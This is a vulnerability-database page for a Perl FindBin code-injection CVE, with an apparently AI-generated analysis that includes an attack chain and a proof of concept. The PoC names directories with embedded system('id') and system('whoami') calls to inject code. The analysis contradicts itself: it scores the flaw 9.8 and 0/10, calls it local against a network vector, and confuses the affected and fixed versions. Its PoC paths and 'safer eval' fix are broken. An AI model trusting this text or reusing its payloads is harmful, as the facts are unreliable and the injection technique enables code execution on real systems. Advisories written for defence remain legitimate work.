CVE Professor
/
All CVEs
CVE-2026-120361

CVE-2026-120361 — FindBin-libs (5.4.0) — CWE-95

CRITICAL CVSS 9.8 CVE.org+NVD

FindBin::Bin versions from 4.0.1 before 5.4.0 for Perl execute code from the script's directory name via a string eval. The module defines Bin by interpolating the script's directory, or the current directory for perl -e, into a single-quoted literal inside a string eval, without escaping. A single quote in any directory name ends the literal and the rest of the name is compiled as Perl code. FindBin::Bin is installed only on Perl 5.40 and later, and FindBin::libs loads it. An attacker who can name a directory can run code as any user who runs a script inside it.

FindBin::Bin versions from 4.0.1 before 5.4.0 for Perl execute code from the script's directory name via a string eval. The module defines Bin by interpolating the script's directory, or the current directory for perl -e, into a single-quoted literal inside a string eval, without escaping. A single quote in any directory name ends the literal and the rest of the name is compiled as Perl code. FindBin::Bin is installed only on Perl 5.40 and later, and FindBin::libs loads it. An attacker who can name a directory can run code as any user who runs a script inside it.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CWE‑95 – Improper Control of Generation of Code (Code Injection)
The FindBin::libs module (up to version 5.4.0) builds the special variable $FindBin::Bin by interpolating the script’s directory name into a single‑quoted Perl literal that is then passed to eval.
The code looks roughly like this (simplified):

my $dir = $FindBin::RealBin;          # e.g. "/tmp/foo'; system('id'); #"
$FindBin::Bin = eval q{ '$dir' };     # eval is executed on the literal

Because the directory name is inserted without any escaping, a single quote (') in the directory name terminates the literal early. The remainder of the directory string is parsed as Perl code and executed by the eval. Thus, an attacker who can create a directory with a crafted name can inject arbitrary Perl code that will run with the privileges of any user who later executes a script that loads FindBin::libs.

The flaw is purely local – it requires the attacker to be able to create a directory that a script will later run from. No network‑based authentication or remote input is involved, which is why the CVSS score is 0/10 (NONE). However, the impact is severe once the local condition is satisfied.


⚡ Attack Chain

Below is a realistic, step‑by‑step chain that demonstrates how an attacker can exploit the flaw on a system running Perl 5.40+ with FindBin::libs ≤ 5.4.0.

StepActionTechnical Detail
1. ReconnaissanceIdentify the target environment.Scan the system for Perl installations (perl -v) and list installed CPAN modules (perldoc -l FindBin::libs). Confirm the module version ($FindBin::libs::VERSION).
2. Directory creationCreate a malicious directory name.mkdir "malicious'; system('id'); #" <br> *The directory name contains a single quote, a semicolon, and a comment marker.*
3. Script placementPlace a benign‑looking script inside the directory.``bash\ncat > malicious/script.pl <<'EOF'\nuse FindBin::libs;\nprint \"Hello from script\\n\";\nEOF\n`
4. ExecutionRun the script as an arbitrary user (e.g., a web‑app worker, cron job, or a normal user).perl malicious/script.pl
5. Code injectionThe FindBin::libs module evaluates the directory name.The eval sees malicious'; system('id'); # and executes system('id');`.
6. Post‑exploitationArbitrary code runs as the script’s owner.The attacker can spawn a shell, modify files, or perform privilege‑escalation if the script runs as a privileged user.

Illustrative PoC (local)

# 1. Create malicious directory
mkdir "evil'; system('whoami'); #"

# 2. Create a script that uses FindBin::libs
cat > evil/script.pl <<'EOF'
use FindBin::libs;          # Triggers the vulnerable eval
print "Script executed\n";
EOF

# 3. Run the script
perl evil/script.pl

Expected output

root
Script executed

The whoami command is executed by the eval, demonstrating that arbitrary Perl code can run with the privileges of the user who invoked the script.

Note: The PoC above is illustrative of the vulnerability class. The exact directory name and script contents can vary; the key is that the directory name contains a single quote that breaks out of the quoted string.

🌍 Real World Impact

ImpactAssessment
ConfidentialityHigh – arbitrary code can read any file the script’s user can access.
IntegrityHigh – attacker can modify files, install backdoors, or tamper with configuration.
AvailabilityMedium – attacker can crash the script or the interpreter, potentially affecting services that rely on the script.

Because the flaw is local, the vulnerability is most dangerous in environments where:

  • Untrusted users can create directories that are later used by scripts (e.g., shared web‑app directories, user‑uploaded content that is executed).
  • Scripts run with elevated privileges (e.g., root‑owned cron jobs, system services).
  • In such scenarios, the attacker can achieve remote‑looking impact (e.g., a web‑shell) by simply placing a malicious directory on the server.


    🛡️ Remediation & Mitigation

    Affected Versions

  • FindBin::libs ≤ 5.4.0 (including 5.4.0 itself).
  • Only relevant on Perl 5.40+ (the module is shipped with Perl 5.40+).
  • Patch

  • Upgrade to FindBin::libs ≥ 5.4.1 (or the latest release).
  • The patch changes the eval to use quotemeta or a safer construction that escapes single quotes.
    cpan -U FindBin::libs   # or use your distribution’s package manager

    Workarounds (if upgrade is not immediately possible)

    MitigationHow it helps
    Restrict directory creationEnsure that only trusted users can create directories that scripts may run from.
    Disable FindBin::libsRemove or comment out use FindBin::libs; in scripts that do not need it.

    | Use a safer eval | If you control the script, replace the vulnerable line with a safe alternative, e.g.:

    $FindBin::Bin = eval { $FindBin::RealBin };  # or use File::Spec::Functions

    | Audit scripts | Search for FindBin::libs usage and verify that the directory names are sanitized or come from trusted sources. |

    Detection

    IndicatorWhere to look
    Unusual directory namesFilesystem listings that contain single quotes or other shell metacharacters (', ;, #).
    Eval usageLogs or code analysis tools that flag eval statements with interpolated variables.
    Unexpected command executionSystem logs (/var/log/auth.log, journalctl) showing id, whoami, or other commands executed by a Perl interpreter.

    If your environment uses a web server to run Perl scripts (e.g., CGI), you can add a simple audit rule:

    # Bash example: log any Perl script execution that contains a single quote in its path
    if [[ "$0" == *"'"* ]]; then
        logger -p authpriv.warn "Potential FindBin::libs injection: $0"
    fi

    ⚠️ Urgency

    FactorAssessment
    CVSS0/10 (NONE) – local flaw, no network exposure.
    CISA KEVNo.
    Exploit ComplexityLow – requires only the ability to create a directory.
    Potential ImpactHigh – arbitrary code execution as the script’s owner.
    Patch AvailabilityYes – patch released in 5.4.1.

    Priority: High for any environment where:

  • Scripts run with elevated privileges.
  • Untrusted users can create directories that are later used by scripts.
If the environment is tightly controlled (e.g., a single‑user system or a container where only the application can create directories), the risk is lower, but the patch should still be applied to eliminate the local code‑execution vector.
Bottom line: FindBin::libs ≤ 5.4.0 contains a classic code‑injection flaw that can be triggered by a malicious directory name. The fix is to upgrade to a patched version or remove the vulnerable component. Until patched, restrict directory creation and audit script execution to mitigate the risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-95
Affected Products (1)
FindBin-libs (5.4.0)
References & Advisories (1)
Related CVEs
8.5
CVE-2026-144448
Cell-ACDC through 1.9.0 contains a code injection vulnerability that allows attackers to execute code by suppl
8.8
CVE-2026-122088
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
0.0
CVE-2026-133711
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') in the Human Resources
8.5
CVE-2026-141592
Kangas before 2.4.12 contains an eval injection vulnerability that allows attackers to execute Python code by
8.5
CVE-2026-141593
HENDRICS 6.0 through 8.5.1 contains an eval injection vulnerability in read_from_netcdf() in hendrics/io.py th
7.8
CVE-2026-142490
Bagpipes through 1.4.1 contains an eval injection vulnerability in bagpipes/fitting/fit.py and posterior.py th
7.8
CVE-2026-142491
eole through 0.6.8 contains an eval injection vulnerability in pydantic configuration validators that allows a